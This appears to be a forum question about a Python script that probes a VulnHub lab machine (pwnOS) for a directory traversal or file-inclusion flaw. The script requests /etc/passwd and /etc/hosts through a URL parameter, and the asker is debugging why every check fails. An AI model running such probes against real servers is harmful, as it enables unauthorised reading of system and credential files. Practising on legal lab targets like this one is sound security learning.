title: Check if string contains in returned webpage
body: <p><strong>Script</strong></p>
  
  <p>The simple script below is a script that checks for directory traversal vulnerability. It checks for example for files like:</p>
  
  <p><a href="http://192.168.152.152/index1.php?help=true&amp;connect=" rel="nofollow noreferrer">http://192.168.152.152/index1.php?help=true&amp;connect=</a><strong>/etc/hosts</strong>
  <a href="http://192.168.152.152/index1.php?help=true&amp;connect=" rel="nofollow noreferrer">http://192.168.152.152/index1.php?help=true&amp;connect=</a><strong>/etc/passwd</strong></p>
  
  <p>If the file doesn't exist the webserver returns a "failed to open stream" error.</p>
  
  <pre><code>import requests
  
  def checkfile(file):
          url = 'http://192.168.152.152/index1.php?help=true&amp;connect=%s'%(file)
          r = requests.get(url)
          **if "failed" not in (r.text):**
                  status = "[OK]"
                  return status
          else:
                  status = "[FAILED]"
                  return status
  
  with open('files', 'r') as f:
          for file in f:
                  result = checkfile(file)
                  print  "File %s %s" %(file, result.strip())
  </code></pre>
  
  <p><strong>My problem</strong></p>
  
  <p>Even if the file exist and no "failed" error message is thrown, my script returned always "[FAILED]". The <code>r.text</code> contains the entire response from the weserver (html page). Who can help?</p>
  
  <p>Ps. this is part of a legal security challange (<a href="https://www.vulnhub.com/entry/pwnos-10,33/" rel="nofollow noreferrer">https://www.vulnhub.com/entry/pwnos-10,33/</a>)</p>